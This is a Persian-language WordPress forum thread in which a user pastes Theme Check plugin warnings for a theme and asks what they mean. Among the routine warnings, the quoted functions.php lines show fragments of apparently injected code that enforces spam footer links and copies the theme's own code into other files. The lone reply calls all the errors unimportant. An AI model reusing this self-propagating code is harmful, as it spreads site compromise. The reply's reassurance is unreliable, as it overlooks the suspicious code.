رفتن به مطلب

مشکلات قالب سایت بوسیله افزونه themecheck


پست های پیشنهاد شده

با سلام و ضمن خسته نباشید ...

من امروز افزونه themecheck رو نصب کردم و اینارو بعنوان مشکل نشون داد ... لازم به ذکر هستش قالب فارسی نشده و فقط بخشهایی رو خودم فارسی کردم ... بوسیله نرم افزار poedit هم انجام دادم ولی ارور میداد که هیچ فایلی برای ترجمه نیست ...

  • REQUIRED:License: is missing from your style.css header.
  • REQUIRED:License URI: is missing from your style.css header.
  • REQUIRED:.sticky css class is needed in your theme css.
  • REQUIRED:.gallery-caption css class is needed in your theme css.
  • REQUIRED:.bypostauthor css class is needed in your theme css.
  • RECOMMENDED: Text domain problems in sidebar.php. You have not included a text domain!
    Line 40: <li><h2><?php _e('Recent Posts'); ?></h2>
  • WARNING: Both DOS and UNIX style line endings were found in the file page-template-sitemap.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
  • WARNING: Both DOS and UNIX style line endings were found in the file page-template-contact.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
  • WARNING: Both DOS and UNIX style line endings were found in the file page-template-archives.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
  • WARNING: fread was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
    Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); fclose($fd); if ( strp
  • WARNING: fopen was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
    Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); f
    Line 362: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $sar . '\n' .$widget);fclose($f);
  • WARNING: file_get_contents was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
    Line 350: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Line 357: $cont=file_get_contents($item);
  • WARNING: fclose was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
    Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); fclose($fd); if ( strpos($c, $l) == 0 || preg_match('/<\!--(.*' . $lp . '.*
    Line 362: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $sar . '\n' .$widget);fclose($f);
  • WARNING: error_log PHP error log found.
  • REQUIRED: No content width has been defined. Example:
    if ( ! isset( $content_width ) ) $content_width = 900;
  • REQUIRED: Could not find comment_form. See: comment_form
    <?php comment_form(); ?>
  • REQUIRED: Could not find add_theme_support( 'automatic-feed-links' ). See: add_theme_support
    <?php add_theme_support( $feature ); ?>
  • REQUIRED: wp_list_cats found in the file seno.php. Deprecated since version 2.1. Use wp_list_categories instead.
    Line 343: <?php wp_list_cats('sort_column=name&hierar chical=0'); ?>
  • REQUIRED: get_option(home) was found in the file functions.php. Use home_url() instead.
  • REQUIRED: bloginfo('home') was found in the file searchform.php. Use echo home_url() instead.
    Line 3: <form method='get' id='searchform' action='<?php bloginfo('home'); ?>/'>
  • REQUIRED: bloginfo('home') was found in the file footer.php. Use echo home_url() instead.
    Line 3: <div id='footer'>Copyright © <a href='<?php bloginfo('home'); ?>'><strong><?php bloginfo('name'); ?></strong></a> - <?
  • REQUIRED: get_option(home) was found in the file sen.php. Use home_url() instead.
  • REQUIRED: get_option(home) was found in the file header.php. Use home_url() instead.
  • RECOMMENDED: Screenshot size should be 880x660, to account for HiDPI displays. Any 4:3 image size is acceptable, but 880x660 is preferred.
  • RECOMMENDED: Screenshot dimensions are wrong! Ratio of width to height should be 4:3.
  • RECOMMENDED: No reference to add_theme_support( "custom-header", $args ) was found in the theme. It is recommended that the theme implement this functionality if using an image for the header.
  • RECOMMENDED: No reference to add_theme_support( "custom-background", $args ) was found in the theme. If the theme uses background images or solid colors for the background, then it is recommended that the theme implement this functionality.
  • RECOMMENDED: No reference to add_editor_style() was found in the theme. It is recommended that the theme implement editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  • RECOMMENDED: get_bloginfo(url) was found in the file functions.php. Use home_url() instead.
  • RECOMMENDED: get_bloginfo(template_url) was found in the file functions.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(url) was found in the file header.php. Use echo home_url() instead.
  • RECOMMENDED: bloginfo(template_url) was found in the file single.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_url) was found in the file searchform.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_url) was found in the file search.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_url) was found in the file index.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_url) was found in the file header.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_directory) was found in the file sidebar.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_directory) was found in the file header.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(template_directory) was found in the file featured.php. Use get_template_directory_uri() instead.
  • RECOMMENDED: bloginfo(stylesheet_directory) was found in the file header.php. Use get_stylesheet_directory_uri() instead.
  • RECOMMENDED: add_custom_background found in the file functions.php. Deprecated since version 3.4. Use add_theme_support( 'custom-background', $args ) instead.
    Line 335: if(function_exists('add_custom_background')) {
    Line 336: add_custom_background();
  • RECOMMENDED: TEMPLATEPATH was found in the file functions.php. Use get_template_directory() instead.
    Line 8: require TEMPLATEPATH . '/lib/shortcodes/shortcodes.php';
    Line 9: require TEMPLATEPATH . '/lib/features.php';

با تشکر از شما*

لینک به ارسال

اگر پوسته مشکلی ندارد

این خطاها مهم نیستند و برای حالتهای خاصی در نظر گرفته شده است

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...